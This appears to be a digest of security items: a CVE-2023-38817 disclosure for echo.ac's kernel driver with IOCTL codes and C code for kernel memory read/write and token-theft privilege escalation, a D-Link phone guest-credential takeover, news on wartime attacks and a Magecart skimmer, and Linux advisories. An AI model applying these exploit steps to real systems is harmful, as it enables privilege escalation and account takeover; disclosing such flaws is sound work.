An issue in Inspect Element Ltd Echo.ac v.5.2.1.0 allows a local attacker to gain privileges via a crafted command to the echo_driver.sys component.

CVE-2023-38817 - A vulnerability in a gaping security hole of a driver allows an attacker to attain nt authority\\system privileges via a Privilege Escalation attack.

A Proof of Concept abusing this exploit to attain Privilege Escalation on a Local machine.

Logo by my good friend and co-credited discoverer of this vulnerability, Zach.

PoC source code can be found here: https://github.com/kite03/echoac-poc.

**CVE Info**

*   Number: CVE-2023-38817
*   Vendor: Inspect Element Ltd (13017981), trading as Echo.
*   Affected Products: echo.ac AntiCheat scanner tool.
*   Affected Versions: echo.ac - <5.2.1.0, echo\_driver.sys - All shipped versions.
*   Affected operating systems: 64Bit versions of Windows from; Windows 7 to Windows 11.
*   Mitigation: Do not use the software, and add driver signatures to blacklist.

**Credits**

*   Protocol (Whanos): GitHub Link - Initial discovery, first contact with echo.ac, and exploit development.
*   kite03: GitHub Link - Exploit development, and writing.
*   Lemon (Wishes to stay anonymous): - Exploit development and assistance.

**Background**

echo.ac is a commercial "screensharing tool", marketed and developed mostly for the Minecraft PvP community, but also used by some other game communities - such as Rust. A "screensharing tool" is a program developed to "assist" server admins in identifying if someone's using cheats or similar banned external tools in-game, effectively a single-run Anticheat scanner.  
As such - these programs execute numerous intrusive scans on a users computer, while being deliberately very vague of what they data collect and why.

Additionally, as these programs are for (terrible) Admins to "check if a user is cheating", they are given to the user under duress - as users will be threatened with a permanent ban from the server they were playing on if they refuse.  
Furthermore, these users are usually quite young and **do not understand the issue of running random executables on their personal computer** (see the current plague of malware on Discord presently).

When this point was brought up to them, they reacted aggressively and attacked us for criticising this practice. We think that it is unfair that users can be banned for not wanting to run this invasive software.

I (Whanos/protocol) also attempted to disclose this exploit to the CEO in private before disclosing it publicly - to allow ample time for the developers to patch it, but they brushed me off, saying that it's not a bug - and then banning me from their discord server.

Our interactions with echo are documented in this blog post, after the bug

Thanks for reading!

**The Bug**

echo-free.exe - their client app, deploys a Kernel driver named echo_driver.sys to a newly generated folder in %TEMP%. This driver appears to be used mostly to scan and copy target processes memory so it can be analysed later to "check for cheats" (glorified string-searching tool...)

Unfortunately, this gaping security hole of a driver has no access controls on what programs can access it, making it trivial to abuse for all manners of exploits on the system.

Simply by using the following series of IOCTL codes, a local attacker can control the driver to Read and Write memory on the system. We abuse this in our PoC to read the Kernel's EPROCESS/KPROCESS block in memory, and then perform Access Token Theft using the driver - copying it into a newly spawned shell of ours, which immediately escalates it's privileges to nt authority\system (Highest system permissions).

Uh oh.

**The Attack**

*   Firstly, create the service and start the driver using sc create EchoDrv binpath=C:\PathToDriver.sys type= kernel && sc start EchoDrv .
*   Next, get a handle to the driver, which uses device path \\\\.\\EchoDrv.
*   Now execute IOCTL code 0x9e6a0594 to bypass an internal check - shown later.

    // Yes, this buffer seems useless - but without it the driver BSOD's the PC.
    // Create a buffer to store useless data (we don't care about it)
    void* buf = (void*)malloc(4096);
    
    // Call IOCTL that sets the internal PID variable and gets past the DWORD check
    // 0x9e6a0594 - IOCTL Code
    DeviceIoControl(hDevice, 0x9e6a0594, NULL, NULL, buf, 4096, NULL, NULL);

Code Example

*   Set the PID to the exploiting program by using IOCTL code 0xe6224248, this returns a HANDLE to your provided PID.

    // The data struct the driver is expecting
    struct k_get_handle {
        DWORD pid;
        ACCESS_MASK access;
        HANDLE handle;
    };
    
    k_get_handle param{};
    // Set the PID and access we want.
    param.pid = GetCurrentProcessId();
    param.access = GENERIC_ALL;
    // Call the driver
    DeviceIoControl(hDevice, 0xe6224248, &param, sizeof(param), &param, sizeof(param), NULL, NULL);
    
    // Return the HANDLE. We'll need it later in all calls.
    return param.handle;

Code Example

*   Finally - you can use IOCTL code 0x60a26124 to make the driver execute MmCopyVirtualMemory with your given arguments, allowing the arbitrary Memory Read/Write.

    // Data structure
    struct k_param_readmem {
        HANDLE targetProcess;
        void* fromAddress;
        void* toAddress;
        size_t length;
        void* padding;
        uint32_t returnCode;
    };
    
    // Here is a simple read memory driver we use extensively in this PoC.
    BOOL read_memory_raw(void* address, void* buf, size_t len, HANDLE targetProcess) {
     	k_param_readmem req{};
     	req.fromAddress = (void*)address;
     	req.length = len;
    	req.targetProcess = targetProcess;
     	req.toAddress = (void*)buf;
    
    	BOOL success = DeviceIoControl(hDevice, 0x60a26124, &req, sizeof(k_param_readmem), &req, sizeof(k_param_readmem), NULL, NULL);
    	return success;
    }
    
    // An example using the above function could be something like this
    
    // Get the PID of the System
    DWORD systemPID;
    Driver.read_memory_raw(
    	(void *) (PsInitialSystemProcessEPROCESS + PIDOffset),
        &systemPID,
     	sizeof(systemPID),
    	processHandle
    );

Code Example

One thing to note is that the driver does not have a "write" function, but you can simply flip the to and from address parameters to "read" your data buffer into another program just fine.

*   Stop and remove the driver from your system by executing sc stop EchoDrv && sc delete EchoDrv.

**Why This Works**

The first IOCTL calls this function, which we seems to sets the output buffer for some internal BCrypt operations we frankly do not care about. Without this call the driver does not listen our commands.

    if (IOCTLCode == 0x9e6a0594) {
    	// First, get the output address
    	BCryptOutputBuffer = *IRP->AssociatedIrp.SystemBuffer;
        // Run some BCrypt stuff and output to buffer
    	NTSTATUS status = BCryptStuff(*BCryptOutputBuffer, sizeof(BCryptOutputBuffer) + 1);
    	if (NT_SUCCESS(status)) {
          *(undefined *)(BCryptOutputBuffer + 2) = 1;
        }
        *(undefined4 *)((longlong)BCryptOutputBuffer + 0x14) = 0x1000;
      }

A simplified version of the BCrypt buffer IRP Handler.

The next IOCTL looks up the PEPROCESS data of our given process' PID and stores it internally - then returns a HANDLE which much be provided in all subsequent requests. This appears to be the driver's "Access Control" - which is frankly, awful.

    if (IOCTLCode == 0xe6224248) {
    	// Shared IRP data buffer
    	ProgramPIDStruct = *(k_get_handle)IRP->AssociatedBuffer.SystemBuffer;
    	OurProcess = NULL;
    	NTSTATUS status = PsLookupProcessByProcessId(*ProgramPIDStruct,&OurProcess);
    	if (NT_SUCCESS(status)) {
    		status = ObOpenObjectByPointer(OurProcess,0,0,ProgramPIDStruct[1]);
    		if (NT_SUCCESS(status) {
    			if (OurProcess != NULL) {
    				ObfDereferenceObject(OurProcess);
    			}
    			// Set our HANDLE in shared buffer struct
    			*(HANDLE)ProgramPIDStruct = InternalHandle;
    			// Unused
    			*(undefined *)(ProgramPIDStruct + 4) = 1;
    		}
    	}
    	// Unused
    	ProgramPIDStruct[5] = 0x1001;
    }

Set PID IRP handler.

Finally, we can use the driver's Copy Memory IOCTL to do whatever we want with memory. Our parameters are directly fed into a CopyMemory function - which basically is just a wrapper for MmCopyVirtualMemory.

    if (IOCTLCode == 0x60a26124) {
        IRPBuffer = *(HANDLE)IRP->AssociatedBuffer.SystemBuffer;
        OurProcess = NULL;
        // Check driver has access to given HANDLE
        NTSTATUS status = ObReferenceObjectByHandle( * IRPBuffer, 0, *(POBJECT_TYPE * ) PsProcessType_exref, '\0', & OurProcess,
            (POBJECT_HANDLE_INFORMATION) 0x0);
        if (NT_SUCCESS(status)) {
    		// Call CopyMemory function with our parameter
            status = CopyMemory(OurProcess, IRPBuffer[1], (PVOID * ) IRPBuffer[2], (size_t * ) IRPBuffer[3],
                (PSIZE_T)(IRPBuffer + 4));
            // NT_SUCCESS
            if (NT_SUCCESS(status) {
    			// Set Return Code
                *(IRPBuffer + 5) = 1;
            }
        }
        if (OurProcess != NULL) {
            ObfDereferenceObject(OurProcess);
        }
    	// Unused
        *(undefined4 * )((longlong) IRPBuffer + 0x2c) = 0x1002;
        UVar5 = 0x30;
        goto LAB_140001b03;
    }

The Read memory IRP handler.

    NTSTATUS CopyMemory(PEPROCESS TargetProcess, void * FromAddress, PVOID * ToAddress, size_t * BufferSize, PSIZE_T BytesCopied)
    {
        NTSTATUS status;
        PEPROCESS ToProcess;
        uint StatusCode;
    
        ToProcess = IoGetCurrentProcess();
        status = MmCopyVirtualMemory(TargetProcess, FromAddress, ToProcess, ToAddress, BufferSize, 0,
            BytesCopied);
        StatusCode = 0;
        // 0xC0000022 - STATUS_ACCESS_DENIED
        if (!NT_SUCCESS(status)) {
            StatusCode = 0xc0000022;
        }
        return (NTSTATUS)StatusCode;
    }

CopyMemory function. It's basically just a MmCopyVirtualMemory wrapper.

Specifically, **MmCopyVirtualMemory** is an undocumented Windows API function which allows a Driver to copy the Virtual memory of a given process.

Also, the function is being executed at Kernel level - indicated by parameter 0 in the call above - which isKPROCESSOR_MODE_KERNEL!

In short, this means our exploit allows direct access to a Kernel mode memory context via simple IO requests from user-mode.

As you can see, the complete lack of access control or validation causes this driver to become effectively - A "Security-Hole As A Service".

*   The driver was built on June 18th 2021, so we can presume that **all** client program versions from that point onwards are vulnerable.
*   The vulnerable driver's SHA256 hash is ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9.
*   The vulnerable driver's MD5 hash is 187ddca26d119573223cf0a32ba55a61.

**The Uses**

There are several uses for this exploit - having Kernel level memory access to anything on the system is very dangerous and abusable!

For our example, we perform a privilege escalation attack using it.

**Privilege Escalation**

In the GitHub repository there is a working Privilege Escalation attack which allows an attacking process to make any process run with nt authority\system privileges.  
This is dangerous because this has more permissions than any other user on the system, which could be easily used by malware to cause much more damage!

The default token privileges of a process running as a regular administrator.

The default token privileges of a process running at nt authority\system - notice how many more privileges it has!

**Cheating**

Additionally, this exploit can be (and has been) extensively used for Cheating in video games - it turns out that this driver was seemingly **whitelisted** by Easy Anti Cheat (EAC) - one of the most popular commercial Anticheat providers - allowing cheaters to trivially cheat in games protected by it!

This is due to the fact that back in ~May 2022, hundreds of echo's own users were banned by EAC in series of large ban waves - due to echo's methodology of mass-memory scanning all programs on a user's computer (a really **big** no-no for all Anticheats!).

The Discord announcement made by the CEO (Josh) upon finding out about the ban waves.

Somehow, echo managed to convince EAC to unban all the users affected by this - and seemingly whitelist their driver from being detected - all the whilst not patching the arbitrary memory Read/Write exploit described above!

In fact, after speaking with some cheater developers about this - some were abusing this to cheat in games such as Rust for almost a year prior to this writeup!

Reply from "tolessthan350gt", a highly reputed user on UnknownCheats - a popular cheating forum, demonstrating a similar exploit method to the one in this writeup, allowing them to cheat in any EAC protected game mostly scot-free!

Another cheat developer discussing their usage of echo's driver exploit for cheating.

**Other Projects**

*   Program protector (PPL stripper/adder) by sam: https://www.youtube.com/watch?v=TOVb-lyBNBY

> Thank you @WindowsKernel for the great add to #LOLDrivers! This is THE read you need for the weekend!https://t.co/WB155xzo6Dhttps://t.co/601sw51Dm7 https://t.co/3Vjlp4tVoI pic.twitter.com/Js3RG54xhU
> 
> — The Haag™ (@M\_haggis) July 14, 2023

The loldrivers.io maintainer loved it :)

NTTS included it in an incredible video!

**Addendum**

Doesn't detect the most blatant cheating tool or a VM... Lol

**That's the end of the exploit writeup!**

Thank you very much for reading.

The following section documents our conversations with the echo team and CEO, for clarity.

**The Aftermath**

First and foremost: Please do **not** harass anyone mentioned in this document. While some people might've gone too far in some aspects - harassment is **not** okay. Do not stoop to that level - thanks.

**Echo and Data**

Echo.ac is pretty quiet about the data it collects and why. Their own ToS on their website and scanning app does **not** tell us _what_ data is scanned and what exactly they will do with it.

ToS archived as of writing (~29th of June 2023):

*   Website Screenshot 1: Screenshot
*   Website Screenshot 2: Screenshot

Update 15/07/2023: As requested by Josh on his alt (that he has me blocked me on already), I have removed the statement saying the in app privacy policy is the same as the website's.

Sure Josh, I can remove this part for you. Doesn't change anything else about the writeup though.

Am I really that scary Josh? You are so scared of talking to me you'd rather DDoS me and block me on your alts to talk behind my back!

There are only 2 hints we get as to the data that they collect.

First are the result pages people publicly share in their discord. An example of which can be found here.  
Not much information can really be extrapolated from here, unfortunately.  
(Screenshots, in case they delete this scan):

*   Part One
*   Part Two
*   Part Three

Second, the policy that they publish.  
This policy is supposed to provide some transparency as to what data echo collects. It is assumed that, for ethical reasons if nothing else - a rough outline to the methods used to collect data are stated. Unfortunately, this policy is not trustworthy.  
This is because Echo has changed is policy regarding what they collect after the following interactions.  
Note that they still collect this data, they just don't tell their users anymore.  
They aren't being open as to what information they collect, and are clearly happy to hide things from their policy if it helps them evade criticism!

Consider the following tweet.

A very wise thing to ask!

**Since Bulbasaur's tweet was posted, they removed the line in their website about storing the memory of processes on the computer, but yet they still do it!**

After that tweet, they updated their "What do we log" FAQ:

Notice the omission of the sentence about them logging Process Memory!

How shady.

On the 24th of May 2023, I (protocol/Whanos) published a tweet to my personal Twitter account (@WindowsKernel) - sharing my concerns with Echo.AC, as well as sharing a tria.ge link, which reported suspicious behaviour from the Echo.AC client.

> please do not run random “screensharing tools” cause a Minecraft server admin wants to check if ur cheating 💀💀💀
> 
> specifically talking about @echodotac , a “screensharing tool” that scans your computer to “detect cheats”. Why would a scanning tool need to load a kernel driver? pic.twitter.com/5tAc31GsYE
> 
> — i am eating your IOCTLs (@WindowsKernel) May 24, 2023

My tweet. Archived screenshot: https://cdn.gls.cx/5c91602e6d41fec2

My tweet - albeit being a bit debatably sensationalised - didn't contain anything untrue, and was more of a general warning to not execute applications random server Admins want you to run on your PC.

At the time, my tweet only had interactions from my own followers - as I mostly post about cybersecurity to a relatively small audience.  
However - shortly after it was posted, the CEO of the company behind Echo.AC - Josh, and some developers and associates of Echo.AC responded with what could frankly only be described as hate-mail and bullying.

Most of these replies are still viewable on the original tweet, but as a precaution I screenshotted them for posterity.

Firstly, I received this DM from Josh, the CEO.

Honestly a pretty childish thing to receive from the legal CEO of a registered company.

I also received a frankly asinine amount of hate-mail replies from users that **never followed me beforehand!**, meaning that they were sent to my tweet by other users.

This user develops his own tool, similar to echo.ac.

Blatant lies from a developer for echo.

Sure buddy.

This account was inactive for years, and made its first replies ever to me. Totally not a developer's alt!

This user owns his own tool, similar to echo. Also, I think I know more about the Kernel than you, thanks!

One of them even called me the r-slur (Censored here). Great.

This account was inactive since 2018, till my tweet was posted. Totally not an alt!

At least Twitter support worked decently fast.

A screenshot of some of the users that are on their staff team and community support team, so you can compare names easier.

After this, I was blocked by the company's official Twitter account. Great response!

Whatever will I do!

**The Disclosure Attempt**

Steeled by this insane series of interactions, my friends and I (credited at the top) started digging into their driver to look for vulnerabilities.  
Unsurprisingly, it was trivial to discover the exploit, considering the visible lack of Kernel driver knowledge. It's basically just a copy-pasted Cheat Driver.

After we found the bug, we started preparing this writeup - and in the meantime I wanted to responsibly let the CEO know about the bug, so they can fix it before we release the writeup.  
Shockingly, they brushed it off as it not being an vulnerability, and passive-aggressively mocked me, before banning me. Lovely!

My conversation with the CEO follows, dated the 29th of June, 2023.

//WONTFIX Security-Hole As A Service

How do you not know about CVEs as an Anticheat company's CEO?

It's still your code buddy.

At this point I honestly gave up. He evidently doesn't care.

A screenshot of his profile, for context.

After this, I was banned from their Discord for the crime of attempting to responsibly report a vulnerability... lol?

Awesome damage control!

Overall, this entire situation is **very** damaging to your reputation.  
How would your users feel if they realise that actual real issues in _your_ own product is met with abuse and ignorance? - you should know better, Josh, especially as you are the **CEO** of an Anticheat company - which **requires the trust of your users** to exist!

**Fin - Thanks for reading!**

Contact me here.

Have a great day Josh.

CVE-2023-38817: EchOh-No! a Vulnerability and PoC demonstration in a popular Minecraft AntiCheat tool.

An issue in DLINK DPH-400SE FRU 2.2.15.8 allows a remote attacker to escalate privileges via the User Modify function in the Maintenance/Access function component.

\# DLINK DPH-400SE - Exposure of Sensitive Information to an Unauthorized Actor ### Description During a penetration testing engagement I interacted with DLINK DPH-400SE running a firmware version of \*\*FRU 2.2.15.8\*\*. It's basically a VoIP phone and the vendor is \[DLINK\](https://dlink.com) In this writeup. I explain how I was able to uncover yet another vulnerability generally a weakness of the ID 200 : \*\*\[CWE-200\](https://cwe.mitre.org/data/definitions/200.html)\*\*, This weakness allowed me to login to the web portal of the device using default guest credentials and read all the SIP authenticated user passwords as well as the administrator's password. ### POC Log in to the portal using the credentials "guest:guest" !\[\](https://hackmd.io/\_uploads/SJ4JGlUan.png) Heading to the maintenance tab, we have the access feature which has an option to modify accounts accessing the devices: !\[\](https://hackmd.io/\_uploads/ByZXGeUT2.png) !\[\](https://hackmd.io/\_uploads/ByXBflU62.png) Opening the modify settings, the guest user is able to modify the user, as well as read the password of that user since it's displayed in the input field thus, by right clicking it and clicking "reveal password" it should display the password for the user chosen to be modified by the "Guest" user. !\[\](https://hackmd.io/\_uploads/ByJozx86h.png) !\[\](https://hackmd.io/\_uploads/r1tiGxLa3.png) Copy the password logout the portal and use the password to login as the user Admin, and WE ARE IN! <div style="width:100%;height:0;padding-bottom:56%;position:relative;"><iframe src="https://giphy.com/embed/WprAwhmBU4NlauH4nP" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>

CVE-2023-43960: DLINK DPH-400SE - Exposure of Sensitive Information to an Unauthorized Actor - HackMD

The Israeli-Hamas war will most assuredly impact businesses when it comes to ramped-up cyberattacks. Experts say that Israel's considerable collection of cybersecurity vendors be a major asset on the cyber-front.

Following the attacks on Israel by Hamas over the past days, when Prime Minister Benjamin Netanyahu warned Israelis "to brace themselves for a long and difficult war," attention turns to those cybersecurity vendors located in the Israeli tech hub and how they may contribute to the war effort.

Chris Pierson, CEO of BlackCloak, believes Israel's "substantive cybersecurity intelligence and strike capability" will serve it well, including having some of the best commercial cybersecurity companies in the world.

JP Castellanos, director of threat intelligence at Binary Defense, says that, particularly in light of potentially destructive attacks against IT or critical infrastructure, it is likely that Israeli cybersecurity companies will do all they can to help with the current crisis. "That means becoming more visible, not less," Castellanos says.

**Attacks Ramp Up During Wartime**

On the cyber front of the Gaza crisis, hacktivists have already begun preparing targets and offering their wares to the highest bidders, who may be looking to cause politically motivated website disruption on public-facing services. And indeed, there was a wave of notable distributed denial-of-service (DDoS) cyberattacks on Oct. 7 and Oct. 8, including one attack which reached 1.26 billion daily requests, while another other reached 346 million daily requests on Oct. 7, and 332 million daily requests the following day.

"Looking at these DDoS attacks in terms of requests per second, one of the impacted sites experienced a peak of 1.1 million requests per second," says João Tomé, content editor at Cloudflare.

But experts say they expect other kinds of attacks against companies and organizations in Israel to ramp up, carried out by both state-backed and non-state-backed operators with much larger arsenals than a DDoS botnet. Pierson for instance says the targets for attacks could be civilians as well as infrastructure and military targets.

"The most likely targets would be infrastructure as a whole - telecommunications, power, finance, and logistical transportation," he says.

It's already starting: Yossi Appleboum, CEO of Sepio Systems and a former member of the Israel Defense Force's Unit 8200, says cyberattacks against his company had increased by 100% in the last week.

Carlos Perez, research practice lead at TrustedSec, says retaliatory cyberattacks become more common during geopolitical crises, but says that many of these risks have been ongoing for Israeli companies, and they will continue to be vulnerable, as we have seen in the past. However Perez believes some companies will be ready, others will not. "It depends mainly on business buy-in and budgets: they do get targeted with a larger volume of attacks than most organizations, which puts them at a higher risk level."

**Call in the Reservists**

The Israeli military has summoned roughly 360,000 reservists — roughly four percent of Israel's 9.8 million population. Thus, the question for many companies in the region, is whether this will lead to staff leaving their day jobs, and for cybersecurity vendors, whether that will affect cyber defense.

Pierson says he expects those with special cyber intelligence training to be called to augment military teams on the ground, and expects those who have previously served their country to volunteer help and assistance for the war effort — and that could impact some operations. However, he does not foresee a change in marketing or external presence activities for most cybersecurity companies in Israel at the moment. 

Castellanos meanwhile believes with reservists being drafted, this would cause a momentary staff shortage until the conflict resolves. However, he adds that "in the case of cybersecurity vendors, I would imagine that Israel would take a balanced approach to this, because they certainly don't want to weaken the very vendors who will be playing a critical role in protecting Israel's national interests."

For his part, Sepio's Appleboum says some activities and features may be delayed or postponed due to staff shortages, but companies will prioritize what is important, "and this may affect current customers. Future planning can wait a bit."

Gaza Conflict: How Israeli Cybersecurity Will Respond

Gentoo Linux Security Advisory 202310-12 - Multiple vulnerabilities have been discovered in curl, the worst of which could result in arbitrary code execution. Versions greater than or equal to 8.3.0-r2 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202310-12  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: curl: Multiple Vulnerabilities  
     Date: October 11, 2023  
     Bugs: #887745, #894676, #902801, #906590, #910564, #914091, #915195  
       ID: 202310-12

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in curl, the worst of  
which could result in arbitrary code execution.

Background  
==========

A command line tool and library for transferring data with URLs.

Affected packages  
=================

Package        Vulnerable    Unaffected  
-------------  ------------  ------------  
net-misc/curl  < 8.3.0-r2    >= 8.3.0-r2

Description  
===========

Multiple vulnerabilities have been discovered in curl. Please review the  
CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Note that the risk of remote code execution is limited to SOCKS usage.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All curl users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=net-misc/curl-8.3.0-r2"

References  
==========

[ 1 ] CVE-2022-43551  
      https://nvd.nist.gov/vuln/detail/CVE-2022-43551  
[ 2 ] CVE-2022-43552  
      https://nvd.nist.gov/vuln/detail/CVE-2022-43552  
[ 3 ] CVE-2023-23914  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23914  
[ 4 ] CVE-2023-23915  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23915  
[ 5 ] CVE-2023-23916  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23916  
[ 6 ] CVE-2023-27533  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27533  
[ 7 ] CVE-2023-27534  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27534  
[ 8 ] CVE-2023-27535  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27535  
[ 9 ] CVE-2023-27536  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27536  
[ 10 ] CVE-2023-27537  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27537  
[ 11 ] CVE-2023-27538  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27538  
[ 12 ] CVE-2023-28319  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28319  
[ 13 ] CVE-2023-28320  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28320  
[ 14 ] CVE-2023-28321  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28321  
[ 15 ] CVE-2023-28322  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28322  
[ 16 ] CVE-2023-32001  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32001  
[ 17 ] CVE-2023-38039  
      https://nvd.nist.gov/vuln/detail/CVE-2023-38039  
[ 18 ] CVE-2023-38545  
      https://nvd.nist.gov/vuln/detail/CVE-2023-38545  
[ 19 ] CVE-2023-38546  
      https://nvd.nist.gov/vuln/detail/CVE-2023-38546

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202310-12

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202310-12

The novel technique helps hide the cybercriminal campaign's efforts to steal credit card information from visitors to major websites, and it represents an evolution for Magecart.

The collection of cybercriminal groups behind the infamous Magecart payment-card theft campaigns have come up with a previously unseen technique to hide their credit card skimming code, escaping notice for several weeks and infecting major e-commerce sites, including significant brands in the food and retail industries.

The obfuscation technique hides JavaScript code in a comment in a targeted site's 404 default page, Akamai stated in an advisory on Oct. 9. Other pages on the site have been modified only slightly to include a call to a nonexistent folder ("icons"), which triggers the 404 error, thus fetching the malicious page.

The entire attack code is contained in a comment with a specific placeholder, so the attacker's script can retrieve it, Roman Lvovsky, a security researcher at Akamai, explained in the company's advisory.

"This concealment technique is highly innovative and something we haven't seen in previous Magecart campaigns," he said. "The idea of manipulating the default 404 error page of a targeted website can offer Magecart actors various creative options for improved hiding and evasion."

**Hiding in 404 Pages: A Tactics Evolution**

Magecart attacks are a category of post-exploitation techniques for skimming credit card information and other user data from websites using obfuscated JavaScript, hijacking of forms, and malicious redirects. The embedded code often escapes notice by hiding in the complexity of modern websites, which rely heavily on third-party components, open source Web frameworks, and code obfuscated to protect intellectual property. Cybercriminals groups can hide their malicious content by either inserting it among the other obfuscated code or by compromising a third-party source of code or content.

Over the summer, for example, a Chinese-speaking threat group compromised Web-facing applications to skim credit card numbers in the Asia-Pacific region, and more recently, North American and Latin America, in a campaign dubbed "Silent Skimmer."

    

The payload hides the original credit-card form, overlaying it with a fake one. Source: Akamai

Similar to techniques hiding code in CSS files and images, adding code to the comments of a default 404 page escapes notice because many of the scanners used to detect attacks today were not designed to search such pages, says Ben Baryo, a cybersecurity researcher with Human Security, a bot- and fraud-protection service.

"While most scanners might report a missing resource, it’s likely that a 404 response won’t be analyzed," he says. "This detection evasion technique is mostly useful against synthetic scanners — which tend to ignore content in requests that aren’t returning 200 OK HTTP code — and manual inspections."

**Magecart Code Obfuscation & Overlays**

The modification to the default 404 pages are part of the Magecart campaign's efforts to deliver a payload — typically, the display of a fake form to collect credit card details — and maintain persistence. The cybercriminals used a fake form overlaying an original page's credit card information form to grab financial details from the targeted user, according to Akamai's advisory.

"When the user submits data into the attacker's fake form, an error is presented, the fake form is hidden, the original payment form is displayed, and the user is prompted to re-enter their payment details," Akamai's Lvovsky said, adding: "Submitting the fake form initiates an image network request to the attacker's C2 \[command-and-control\] server, carrying all the stolen personal and credit card information as a Base64-encoded string in the query parameter."

A 404 page is typically a first-party object — meaning that it resides on the same server as the home page and not a third-party service. This helps the attacker bypass some security measures, such as Content Security Policy (CSP) headers, he said.

Yet while the technique results in hard-to-discover modifications, it is not necessarily stealthy, says Human Security's Baryo. Because the 404 attack is kicked off by a call to the nonexistent "icons" resource, the technique could be considered noisy, which Magecart groups attempt to avoid.

"We haven’t seen this particular technique in the wild," he says. "We do not generally see other groups following this approach as this delivery method attracts unwanted attention as to why a nonexistent resource is being loaded on a particular page and by which script."

**Could PCI DSS Solve Magecart?**

The Payment Card Industry (PCI) Security Standards Council has attempted to solve the problem of Magecart attacks with the latest version of its Data Security Standard (DSS), which bolsters two security requirements to protect payment pages. Requirement 6 ("Develop and Maintain Secure Systems and Software") directs e-commerce sites to use secure development and maintenance to ensure that unauthorized code can't be injected into websites, while Requirement 11 ("Test Security of Systems and Networks Regularly") charges website owners to conduct ongoing monitoring of systems and networks to detect changes.

Online merchants — even ones that outsource all storage, processing, and transmission of account data to payment service providers — will have to abide by the PCI-DSS 4.0 requirements, says Jeff Zitomer, senior director of product management for Human Security.

"Modern websites ... source code at runtime from across the Internet to deliver critical business functionality," he says. "This forever-changing Nth-party code bypasses traditional security controls and enjoys nearly unlimited access in the browser, \[allowing\] attackers \[to\] exploit this attack surface through malicious script attacks."

The standard is currently considered a best practice but will become mandatory in early 2025.

Magecart Campaign Hijacks 404 Pages to Steal Data

It was discovered that the IP-VLAN network driver for the Linux kernel did not properly initialize memory in some situations, leading to an out-of- bounds write vulnerability. An attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. It was discovered that the virtual terminal driver in the Linux kernel contained a use-after-free vulnerability. A local attacker could use this to cause a denial of service (system crash) or possibly expose sensitive information (kernel memory). Various other issues were also addressed.

Linux kernel vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

-   Ubuntu 20.04 LTS  
-   Ubuntu 18.04 LTS  
-   Ubuntu 16.04 ESM  
-   Ubuntu 22.04 LTS  
-   Ubuntu 14.04 ESM

Summary

Several security issues were fixed in the kernel.

Software Description

-   linux - Linux kernel  
-   linux-aws - Linux kernel for Amazon Web Services (AWS) systems  
-   linux-azure - Linux kernel for Microsoft Azure Cloud systems  
-   linux-gcp - Linux kernel for Google Cloud Platform (GCP) systems  
-   linux-gke - Linux kernel for Google Container Engine (GKE) systems  
-   linux-gkeop - Linux kernel for Google Container Engine (GKE) systems  
-   linux-ibm - Linux kernel for IBM cloud systems

Details

It was discovered that the IP-VLAN network driver for the Linux kernel  
did not properly initialize memory in some situations, leading to an  
out-of- bounds write vulnerability. An attacker could use this to cause  
a denial of service (system crash) or possibly execute arbitrary code.  
(CVE-2023-3090)

It was discovered that the virtual terminal driver in the Linux kernel  
contained a use-after-free vulnerability. A local attacker could use  
this to cause a denial of service (system crash) or possibly expose  
sensitive information (kernel memory). (CVE-2023-3567)

It was discovered that the universal 32bit network packet classifier  
implementation in the Linux kernel did not properly perform reference  
counting in some situations, leading to a use-after-free vulnerability.  
A local attacker could use this to cause a denial of service (system  
crash) or possibly execute arbitrary code. (CVE-2023-3609)

It was discovered that the network packet classifier with  
netfilter/firewall marks implementation in the Linux kernel did not  
properly handle reference counting, leading to a use-after-free  
vulnerability. A local attacker could use this to cause a denial of  
service (system crash) or possibly execute arbitrary code.  
(CVE-2023-3776)

Kevin Rich discovered that the netfilter subsystem in the Linux kernel  
did not properly handle table rules flush in certain circumstances. A  
local attacker could possibly use this to cause a denial of service  
(system crash) or execute arbitrary code. (CVE-2023-3777)

Kevin Rich discovered that the netfilter subsystem in the Linux kernel  
did not properly handle rule additions to bound chains in certain  
circumstances. A local attacker could possibly use this to cause a  
denial of service (system crash) or execute arbitrary code.  
(CVE-2023-3995)

It was discovered that the netfilter subsystem in the Linux kernel did  
not properly handle PIPAPO element removal, leading to a use-after-free  
vulnerability. A local attacker could possibly use this to cause a  
denial of service (system crash) or execute arbitrary code.  
(CVE-2023-4004)

